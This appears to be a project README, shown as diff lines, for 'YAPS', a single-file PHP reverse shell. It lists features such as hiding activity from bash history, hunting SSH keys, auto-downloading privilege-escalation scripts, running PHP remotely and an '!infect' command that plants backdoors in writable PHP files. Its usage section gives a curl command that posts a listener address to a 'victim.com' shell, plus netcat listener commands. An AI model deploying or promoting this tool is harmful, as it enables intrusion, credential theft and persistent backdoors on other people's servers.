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+# YAPS - **Y**et **A**nother **P**HP **S**hell
+Yeah, I know, I know... But that's it. =)
+As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (`nc -lp 1337`).
+In the current version (1.3.1), its main functions support only linux systems, but i'm planning to make it work with Windows too.
+It's currently in its first version and I haven't tested it much yet, and *there are still many things I intend to do and improve for the next versions (**it's not done yet!**)*, so please let me know if you've found any bugs. =)
+## Features
+* Single PHP file (no need to install packages, libs, or download tons of files)
+* Works with netcat, ncat, socat, multi/handler, almost any listener
+* Customizable password protection
+* No logs in .bash_history
+* Can do some enumeration
+  * Network info (interfaces, iptables rules, active ports)
+  * User info
+  * List SUID and GUID files
+  *  Search for SSH keys (public and private)
+  *  List crontab
+  *  List writable PHP files
+* Auto download LinPEAS, LinEnum or Linux Exploit Suggester
+* Write and run PHP code on remote host
+* (Semi) Stabilize shell
+* Duplicate connections
+* Auto update
+* **[new] Infect PHP files with backdoors**
+## Cons
+* Connection isn't encrypted (yet) (nc does not support SSL)
+* Not fully interactive (although you can spawn an interactive shell with `!stabilize`)
+  * CTRL+C breaks it; can't use arrows to navigate (unless you use `rlwrap nc -lp <ip> <port>`)
+## Usage
+1. Set up a TCP listener;
+2. Set your IP and port. This can be done by:
+* 2.1 Editing the variables at the start of the script;
+* 2.2 Setting them via post request (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);
+3. Open yaps.php on browser, curl it or run via CLI;
+* 3.1 You can set `yaps.php?s` or `yaps.php?silent` to supress the banner
+* 3.2 You can run via CLI with `php yaps.php ip port`
+5. Hack!
+## Working commands
+* `!help - Display the help menu`
+* `!all-colors - Toggle all colors (compatible with colorless TTY)`
+* `!color - Toggle PS1 color (locally only, no environment variable is changed)`
+* `!duplicate - Spawn another YAPS connection`
+* `!enum - Download LinPEAS and LinEnum to /tmp and get them ready to use`
+* `!info - list informations about the target (the enumeration I mentioned above)`
+* `!infect - Infect writable PHP files with backdoors`
+* `!stabilize - Spawn an interactive reverse shell on another port (works w/ sudo, su, mysql, etc.)`
+* `!passwd - Password option (enable, disable, set, modify)`
+* `!php - Write and run PHP on the remote host`
+* `!suggester - Download Linux Exploit Suggester to /tmp and get it ready to use`
+## Screenshots
+![image](https://user-images.githubusercontent.com/3837916/127257196-f8a6bb6f-36d7-4c8d-a51b-3a9df3e21eb6.png)
+![image](https://user-images.githubusercontent.com/3837916/127257433-778b1322-c82e-4857-897f-0f3f459dcb2b.png)
+![stabilize](https://user-images.githubusercontent.com/3837916/127260504-3e78ab69-c3ee-411e-8a7d-f89fe5356a7f.gif)
+![duplicate](https://user-images.githubusercontent.com/3837916/127260519-e672a78e-84c5-4a58-aa39-85dae94d9a50.gif)
+![infect](https://user-images.githubusercontent.com/3837916/127263363-e286357c-2be0-4890-8895-4bd5adadd3af.gif)
+![image](https://user-images.githubusercontent.com/3837916/124774830-7dedab80-df14-11eb-9e84-c8d88b9f4de2.png)
+![image](https://user-images.githubusercontent.com/3837916/127260459-cc50203d-3ba6-408b-af0f-820756e9891d.png)
+## Changelog
+**v1.3.1 - 01/08/2021**
+- Bugs fixed
+**v1.3 - 28/07/2021**
+- Added `!infect` to infect PHP files with backdoors
+- Changed `!stabilize` payload (bugs fixed)
+**v1.2.2 - 18/07/2021**
+- Changed 'update' function
+- Changed 'connect' function
+- Improved 'download' function
+- Bugs fixed
+**v1.2.1 - 17/07/2021**
+- Bugs fixed
+**v1.2 - 17/07/2021**
+- Added `!duplicate` to spawn another shell
+- Added update verification (`--update|-u`)
+- Added CLI arguments (`--help|-h`)
+- Added socket via arguments (`php yaps.php ip port`)
+- Changed stabilize shell method (doesn't freeze anymore)
+- Changed download method
+- Changed connection method via POST (receives a single parameter)
+**v1.1 - 12/07/2021**
+- Added `!all-colors` to toggle terminal colors and work with colorless TTYs
+- Added `exit` command to close socket (leave shell)
+- Changed payload in `!stabilize` to unset HISTSIZE and HISTFILE
+- Changed the method of obtaining CPU and meminfo in `!info` 
+**v1.0.1 - 08/07/2021**
+- Changed `[x,y,z]` to `array(x,y,z)` to improve compatibility with older PHP versions
+- Changed payload for interactive shell to work with PHP<5.4
+## Credits
+Some ideas were inspired by this tools:
+#### Linpeas
+https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
+#### Linenum
+https://github.com/rebootuser/LinEnum
+#### Suggester
+https://github.com/AonCyberLabs/Windows-Exploit-Suggester
+#### Pentest Monkey
+https://github.com/pentestmonkey/php-reverse-shell